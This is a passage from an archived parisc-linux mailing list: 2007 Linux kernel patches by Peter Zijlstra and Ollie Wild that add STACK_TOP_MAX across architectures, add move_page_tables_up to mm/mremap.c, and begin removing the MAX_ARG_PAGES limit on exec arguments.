--- linux-2.6-2.orig/include/asm-arm/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-arm/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -30,6 +30,7 @@ struct exec
 #ifdef __KERNEL__
 #define STACK_TOP	((current->personality == PER_LINUX_32BIT) ? \
 			 TASK_SIZE : TASK_SIZE_26)
+#define STACK_TOP_MAX	TASK_SIZE
 #endif
 
 #ifndef LIBRARY_START_TEXT
Index: linux-2.6-2/include/asm-arm26/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-arm26/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-arm26/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -29,6 +29,7 @@ struct exec
 
 #ifdef __KERNEL__
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 #endif
 
 #ifndef LIBRARY_START_TEXT
Index: linux-2.6-2/include/asm-avr32/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-avr32/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-avr32/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-cris/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-cris/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-cris/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -8,6 +8,7 @@
 
 /* grabbed from the intel stuff  */   
 #define STACK_TOP TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 
 struct exec
Index: linux-2.6-2/include/asm-frv/mem-layout.h
===================================================================
--- linux-2.6-2.orig/include/asm-frv/mem-layout.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-frv/mem-layout.h	2007-06-01 10:27:30.000000000 +0200
@@ -60,6 +60,7 @@
  */
 #define BRK_BASE			__UL(2 * 1024 * 1024 + PAGE_SIZE)
 #define STACK_TOP			__UL(2 * 1024 * 1024)
+#define STACK_TOP_MAX	STACK_TOP
 
 /* userspace process size */
 #ifdef CONFIG_MMU
Index: linux-2.6-2/include/asm-h8300/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-h8300/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-h8300/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-i386/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-i386/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-i386/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-ia64/ustack.h
===================================================================
--- linux-2.6-2.orig/include/asm-ia64/ustack.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-ia64/ustack.h	2007-06-01 10:27:30.000000000 +0200
@@ -11,6 +11,7 @@
 /* The absolute hard limit for stack size is 1/2 of the mappable space in the region */
 #define MAX_USER_STACK_SIZE	(RGN_MAP_LIMIT/2)
 #define STACK_TOP		(0x6000000000000000UL + RGN_MAP_LIMIT)
+#define STACK_TOP_MAX		STACK_TOP
 #endif
 
 /* Make a default stack size of 2GiB */
Index: linux-2.6-2/include/asm-m32r/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-m32r/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-m32r/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-m68k/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-m68k/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-m68k/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-mips/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-mips/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-mips/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -40,6 +40,7 @@ struct exec
 #ifdef CONFIG_64BIT
 #define STACK_TOP	(current->thread.mflags & MF_32BIT_ADDR ? TASK_SIZE32 : TASK_SIZE)
 #endif
+#define STACK_TOP_MAX	TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-parisc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-parisc/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-parisc/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -23,6 +23,7 @@ struct exec
  * prumpf */
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-powerpc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-powerpc/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-powerpc/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -26,9 +26,12 @@ struct exec
 #define STACK_TOP (test_thread_flag(TIF_32BIT) ? \
 		   STACK_TOP_USER32 : STACK_TOP_USER64)
 
+#define STACK_TOP_MAX STACK_TOP_USER64
+
 #else /* __powerpc64__ */
 
 #define STACK_TOP TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif /* __powerpc64__ */
 #endif /* __KERNEL__ */
Index: linux-2.6-2/include/asm-s390/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-s390/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-s390/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -32,6 +32,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
 #endif
 
Index: linux-2.6-2/include/asm-sh/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sh/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-sh/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -20,6 +20,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-sh64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sh64/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-sh64/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -31,6 +31,7 @@ struct exec
 #ifdef __KERNEL__
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif
 
Index: linux-2.6-2/include/asm-sparc/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sparc/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-sparc/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -92,6 +92,7 @@ struct relocation_info /* used when head
 #include <asm/page.h>
 
 #define STACK_TOP	(PAGE_OFFSET - PAGE_SIZE)
+#define STACK_TOP_MAX	STACK_TOP
 
 #endif /* __KERNEL__ */
 
Index: linux-2.6-2/include/asm-sparc64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-sparc64/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-sparc64/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -101,6 +101,8 @@ struct relocation_info /* used when head
 #define STACK_TOP (test_thread_flag(TIF_32BIT) ? \
 		   STACK_TOP32 : STACK_TOP64)
 
+#define STACK_TOP_MAX STACK_TOP64
+
 #endif
 
 #endif /* !(__ASSEMBLY__) */
Index: linux-2.6-2/include/asm-um/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-um/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-um/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -16,4 +16,6 @@ extern int honeypot;
 #define STACK_TOP \
 	CHOOSE_MODE((honeypot ? host_task_size : task_size), task_size)
 
+#define STACK_TOP_MAX	STACK_TOP
+
 #endif
Index: linux-2.6-2/include/asm-x86_64/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-x86_64/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-x86_64/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -21,7 +21,8 @@ struct exec
 
 #ifdef __KERNEL__
 #include <linux/thread_info.h>
-#define STACK_TOP TASK_SIZE
+#define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	TASK_SIZE64
 #endif
 
 #endif /* __A_OUT_GNU_H__ */
Index: linux-2.6-2/include/asm-xtensa/a.out.h
===================================================================
--- linux-2.6-2.orig/include/asm-xtensa/a.out.h	2007-06-01 10:27:27.000000000 +0200
+++ linux-2.6-2/include/asm-xtensa/a.out.h	2007-06-01 10:27:30.000000000 +0200
@@ -17,6 +17,7 @@
 /* Note: the kernel needs the a.out definitions, even if only ELF is used. */
 
 #define STACK_TOP	TASK_SIZE
+#define STACK_TOP_MAX	STACK_TOP
 
 struct exec
 {

-- 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 3/4] mm: move_page_tables{,_up}
Date: Tue, 05 Jun 2007 17:05:26 +0200
Lines: 182
Approved: news@gmane.org
Message-ID: <20070605151203.738393000__16047.5621735261$1416624389$gmane$org@chello.nl>
References: <20070605150523.786600000@chello.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624389 24485 80.91.229.3 (22 Nov 2014 02:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:29 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 Andi Kleen <ak@suse.de>,
 Ollie Wild <aaw@google.com>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 15:15:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 05 Jun 2007 17:15:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6B5C7DE4F;
	Tue,  5 Jun 2007 09:14:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11844-06; Tue, 5 Jun 2007 09:14:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E22087DE31;
	Tue,  5 Jun 2007 09:14:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 743EE7DE05
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11347-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jun 2007 09:14:31 -0600 (MDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id 422CD7DDFB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:31 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEE4n024779;
	Tue, 5 Jun 2007 11:14:14 -0400
Original-Received: from pobox.stuttgart.redhat.com (pobox.stuttgart.redhat.com
	[172.16.2.10])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEDZv001862;
	Tue, 5 Jun 2007 11:14:13 -0400
Original-Received: from taijtu.programming.kicks-ass.net (vpn-4-44.str.redhat.com
	[10.32.4.44])
	by pobox.stuttgart.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l55FEBbf004472; Tue, 5 Jun 2007 17:14:12 +0200
Original-Received: by taijtu.programming.kicks-ass.net (Postfix, from userid 0)
	id AAEA3A36C0D; Tue,  5 Jun 2007 17:13:47 +0200 (CEST)
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=move_page_tables_up.patch
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OkdWfvclMmApm7SZZGFnnLExMjQ1N13B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24642

Provide functions for moving page tables upwards.

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Ollie Wild <aaw@google.com>
---
 include/linux/mm.h |    7 +++
 mm/mremap.c        |  105 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 110 insertions(+), 2 deletions(-)

Index: linux-2.6-2/include/linux/mm.h
===================================================================
--- linux-2.6-2.orig/include/linux/mm.h	2007-06-01 10:50:58.000000000 +0200
+++ linux-2.6-2/include/linux/mm.h	2007-06-01 10:57:26.000000000 +0200
@@ -788,6 +787,12 @@ int FASTCALL(set_page_dirty(struct page 
 int set_page_dirty_lock(struct page *page);
 int clear_page_dirty_for_io(struct page *page);
 
+extern unsigned long move_page_tables(struct vm_area_struct *vma,
+		unsigned long old_addr, struct vm_area_struct *new_vma,
+		unsigned long new_addr, unsigned long len);
+extern unsigned long move_page_tables_up(struct vm_area_struct *vma,
+		unsigned long old_addr, struct vm_area_struct *new_vma,
+		unsigned long new_addr, unsigned long len);
 extern unsigned long do_mremap(unsigned long addr,
 			       unsigned long old_len, unsigned long new_len,
 			       unsigned long flags, unsigned long new_addr);
Index: linux-2.6-2/mm/mremap.c
===================================================================
--- linux-2.6-2.orig/mm/mremap.c	2007-06-01 10:50:58.000000000 +0200
+++ linux-2.6-2/mm/mremap.c	2007-06-01 10:57:45.000000000 +0200
@@ -118,9 +118,63 @@ static void move_ptes(struct vm_area_str
 		spin_unlock(&mapping->i_mmap_lock);
 }
 
+static void move_ptes_up(struct vm_area_struct *vma, pmd_t *old_pmd,
+		unsigned long old_addr, unsigned long old_end,
+		struct vm_area_struct *new_vma, pmd_t *new_pmd,
+		unsigned long new_addr)
+{
+	struct address_space *mapping = NULL;
+	struct mm_struct *mm = vma->vm_mm;
+	pte_t *old_pte, *new_pte, pte;
+	spinlock_t *old_ptl, *new_ptl;
+	unsigned long new_end = new_addr + (old_end - old_addr);
+
+	if (vma->vm_file) {
+		/*
+		 * Subtle point from Rajesh Venkatasubramanian: before
+		 * moving file-based ptes, we must lock vmtruncate out,
+		 * since it might clean the dst vma before the src vma,
+		 * and we propagate stale pages into the dst afterward.
+		 */
+		mapping = vma->vm_file->f_mapping;
+		spin_lock(&mapping->i_mmap_lock);
+		if (new_vma->vm_truncate_count &&
+		    new_vma->vm_truncate_count != vma->vm_truncate_count)
+			new_vma->vm_truncate_count = 0;
+	}
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * pte locks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_pte = pte_offset_map_lock(mm, old_pmd, old_end-1, &old_ptl);
+ 	new_pte = pte_offset_map_nested(new_pmd, new_end-1);
+	new_ptl = pte_lockptr(mm, new_pmd);
+	if (new_ptl != old_ptl)
+		spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+	arch_enter_lazy_mmu_mode();
+
+	for (; old_end > old_addr; old_pte--, old_end -= PAGE_SIZE,
+				   new_pte--, new_end -= PAGE_SIZE) {
+		if (pte_none(*old_pte))
+			continue;
+		pte = ptep_clear_flush(vma, old_end-1, old_pte);
+		pte = move_pte(pte, new_vma->vm_page_prot, old_end-1, new_end-1);
+		set_pte_at(mm, new_end-1, new_pte, pte);
+	}
+
+	arch_leave_lazy_mmu_mode();
+	if (new_ptl != old_ptl)
+		spin_unlock(new_ptl);
+	pte_unmap_nested(new_pte - 1);
+	pte_unmap_unlock(old_pte - 1, old_ptl);
+	if (mapping)
+		spin_unlock(&mapping->i_mmap_lock);
+}
+
 #define LATENCY_LIMIT	(64 * PAGE_SIZE)
 
-static unsigned long move_page_tables(struct vm_area_struct *vma,
+unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len)
 {
@@ -132,21 +186,25 @@ static unsigned long move_page_tables(st
 
 	for (; old_addr < old_end; old_addr += extent, new_addr += extent) {
 		cond_resched();
+
 		next = (old_addr + PMD_SIZE) & PMD_MASK;
 		if (next - 1 > old_end)
 			next = old_end;
 		extent = next - old_addr;
+
 		old_pmd = get_old_pmd(vma->vm_mm, old_addr);
 		if (!old_pmd)
 			continue;
 		new_pmd = alloc_new_pmd(vma->vm_mm, new_addr);
 		if (!new_pmd)
 			break;
+
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
 		if (extent > next - new_addr)
 			extent = next - new_addr;
 		if (extent > LATENCY_LIMIT)
 			extent = LATENCY_LIMIT;
+
 		move_ptes(vma, old_pmd, old_addr, old_addr + extent,
 				new_vma, new_pmd, new_addr);
 	}
@@ -154,6 +212,51 @@ static unsigned long move_page_tables(st
 	return len + old_addr - old_end;	/* how much done */
 }
 
+unsigned long move_page_tables_up(struct vm_area_struct *vma,
+		unsigned long old_addr, struct vm_area_struct *new_vma,
+		unsigned long new_addr, unsigned long len)
+{
+	unsigned long extent, prev, old_end, new_end;
+	pmd_t *old_pmd, *new_pmd;
+
+	old_end = old_addr + len;
+	new_end = new_addr + len;
+	flush_cache_range(vma, old_addr, old_end);
+
+	for (; old_end > old_addr; old_end -= extent, new_end -= extent) {
+		cond_resched();
+
+		/*
+		 * calculate how far till prev PMD boundary for old
+		 */
+		prev = (old_end - 1) & PMD_MASK;
+		if (prev < old_addr)
+			prev = old_addr;
+		extent = old_end - prev;
+
+		old_pmd = get_old_pmd(vma->vm_mm, old_end-1);
+		if (!old_pmd)
+			continue;
+		new_pmd = alloc_new_pmd(vma->vm_mm, new_end-1);
+		if (!new_pmd)
+			break;
+
+		/*
+		 * calculate and clip to prev PMD boundary for new
+		 */
+		prev = (new_end - 1) & PMD_MASK;
+		if (extent > new_end - prev)
+			extent = new_end - prev;
+		if (extent > LATENCY_LIMIT)
+			extent = LATENCY_LIMIT;
+
+		move_ptes_up(vma, old_pmd, old_end - extent, old_end,
+				new_vma, new_pmd, new_end - extent);
+	}
+
+	return old_addr + len - old_end;
+}
+
 static unsigned long move_vma(struct vm_area_struct *vma,
 		unsigned long old_addr, unsigned long old_len,
 		unsigned long new_len, unsigned long new_addr)

-- 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 4/4] mm: variable length argument support
Date: Tue, 05 Jun 2007 17:05:27 +0200
Lines: 1545
Approved: news@gmane.org
Message-ID: <20070605151203.790585000__45993.0783640177$1416624389$gmane$org@chello.nl>
References: <20070605150523.786600000@chello.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624389 24486 80.91.229.3 (22 Nov 2014 02:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:29 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 Andi Kleen <ak@suse.de>,
 Ollie Wild <aaw@google.com>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 15:15:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 05 Jun 2007 17:15:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 956FC7DD39;
	Tue,  5 Jun 2007 09:14:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11884-05; Tue, 5 Jun 2007 09:14:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAC8C7DE25;
	Tue,  5 Jun 2007 09:14:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B71AD7DE13
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11707-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jun 2007 09:14:32 -0600 (MDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id 54EAB7DE10
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:32 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEF7N024810;
	Tue, 5 Jun 2007 11:14:15 -0400
Original-Received: from pobox.stuttgart.redhat.com (pobox.stuttgart.redhat.com
	[172.16.2.10])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEDS6001868;
	Tue, 5 Jun 2007 11:14:13 -0400
Original-Received: from taijtu.programming.kicks-ass.net (vpn-4-44.str.redhat.com
	[10.32.4.44])
	by pobox.stuttgart.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l55FEB1m004471; Tue, 5 Jun 2007 17:14:12 +0200
Original-Received: by taijtu.programming.kicks-ass.net (Postfix, from userid 0)
	id A473EA36BF9; Tue,  5 Jun 2007 17:13:47 +0200 (CEST)
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=no_MAX_ARG_PAGES.patch
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JEddc/1ibmw7m62HZzdLW81HUzc4chEW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24643

From: Ollie Wild <aaw@google.com>

Remove the arg+env limit of MAX_ARG_PAGES by copying the strings directly
>from the old mm into the new mm.

We create the new mm before the binfmt code runs, and place the new stack
at the very top of the address space. Once the binfmt code runs and figures
out where the stack should be, we move it downwards.

It is a bit peculiar in that we have one task with two mm's, one of which is
inactive.

Signed-off-by: Ollie Wild <aaw@google.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
---
 arch/ia64/ia32/binfmt_elf32.c     |   61 ----
 arch/um/kernel/trap.c             |    2 
 arch/x86_64/ia32/ia32_aout.c      |    2 
 arch/x86_64/ia32/ia32_binfmt.c    |   58 ---
 fs/binfmt_elf.c                   |   28 +
 fs/binfmt_elf_fdpic.c             |    8 
 fs/binfmt_misc.c                  |    4 
 fs/binfmt_script.c                |    4 
 fs/compat.c                       |  130 +++-----
 fs/exec.c                         |  566 +++++++++++++++++++++++---------------
 include/asm-um/processor-i386.h   |    3 
 include/asm-um/processor-x86_64.h |    3 
 include/linux/binfmts.h           |   17 -
 include/linux/mm.h                |    7 
 kernel/auditsc.c                  |    2 
 mm/mmap.c                         |   56 ++-
 mm/mprotect.c                     |    2 
 17 files changed, 495 insertions(+), 458 deletions(-)

Index: linux-2.6-2/arch/um/kernel/trap.c
===================================================================
--- linux-2.6-2.orig/arch/um/kernel/trap.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/arch/um/kernel/trap.c	2007-06-05 16:29:45.000000000 +0200
@@ -61,8 +61,6 @@ int handle_page_fault(unsigned long addr
 		goto good_area;
 	else if(!(vma->vm_flags & VM_GROWSDOWN))
 		goto out;
-	else if(is_user && !ARCH_IS_STACKGROW(address))
-		goto out;
 	else if(expand_stack(vma, address))
 		goto out;
 
Index: linux-2.6-2/arch/x86_64/ia32/ia32_binfmt.c
===================================================================
--- linux-2.6-2.orig/arch/x86_64/ia32/ia32_binfmt.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/arch/x86_64/ia32/ia32_binfmt.c	2007-06-05 16:29:45.000000000 +0200
@@ -232,9 +232,6 @@ do {							\
 #define load_elf_binary load_elf32_binary
 
 #define ELF_PLAT_INIT(r, load_addr)	elf32_init(r)
-#define setup_arg_pages(bprm, stack_top, exec_stack) \
-	ia32_setup_arg_pages(bprm, stack_top, exec_stack)
